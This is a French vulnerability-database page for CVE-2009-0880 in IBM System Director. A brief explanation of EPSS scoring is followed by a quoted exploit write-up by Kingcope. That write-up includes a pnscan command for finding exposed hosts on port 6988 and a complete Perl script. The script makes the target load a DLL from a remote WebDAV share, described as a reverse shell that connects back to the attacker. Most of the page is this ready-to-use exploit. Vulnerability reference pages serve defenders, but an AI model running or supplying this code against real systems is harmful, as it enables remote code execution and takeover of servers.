CVE-2009-0880 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

IBM System Director Remote System Level Exploit (CVE-2009-0880 extended zeroday) Copyright (C) 2012 Kingcope IBM System Director has the port 6988 open. By using a special request to a vulnerable server, the attacker can force to load a dll remotely from a WebDAV share. The following exploit will load the dll from \\isowarez.de\\director\wootwoot.dll the wootwoot.dll is a reverse shell that will send a shell back to the attacker (the code has to be inside the dll initialization routine). The IBM Director exploit works on versions 5.20.3 and before, but not on 5.2.30 SP2 and above. Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0880 There was a prior CVE for it, the CVE states the attack can load local files only, using the WebDAV server remote file can be loaded too. To scan for this software you can enter the following (by using pnscan): ./pnscan -w"M-POST /CIMListener/ HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n" -r HTTP <ipblock> 6988 Exploit: ---snip--- use IO::Socket; #1st argument: target host my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "6988", Proto => 'tcp'); $payload = qq{<?xml version="1.0" encoding="utf-8" ?> <CIM CIMVERSION="2.0" DTDVERSION="2.0"> <MESSAGE ID="1007" PROTOCOLVERSION="1.0"> <SIMPLEEXPREQ> <EXPMETHODCALL NAME="ExportIndication"> <EXPPARAMVALUE NAME="NewIndication"> <INSTANCE CLASSNAME="CIM_AlertIndication" > <PROPERTY NAME="Description" TYPE="string"> <VALUE>Sample CIM_AlertIndication indication</VALUE> </PROPERTY> <PROPERTY NAME="AlertType" TYPE="uint16"> <VALUE>1</VALUE> </PROPERTY> <PROPERTY NAME="PerceivedSeverity" TYPE="uint16"> <VALUE>3</VALUE> </PROPERTY> <PROPERTY NAME="ProbableCause" TYPE="uint16"> <VALUE>2</VALUE> </PROPERTY> <PROPERTY NAME="IndicationTime" TYPE="datetime"> <VALUE>20010515104354.000000:000</VALUE> </PROPERTY> </INSTANCE> </EXPPARAMVALUE> </EXPMETHODCALL> </SIMPLEEXPREQ> </MESSAGE> </CIM>}; $req = "M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n" ."Host: $ARGV[0]\r\n" ."Content-Type: application/xml; charset=utf-8\r\n" ."Content-Length: ". length($payload) ."\r\n" ."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n" ."CIMOperation: MethodCall\r\n" ."CIMExport: MethodRequest\r\n" ."CIMExportMethod: ExportIndication\r\n\r\n"; print $sock $req . $payload; while(<$sock>) { print; } ---snip--- Cheerio, Kingcope
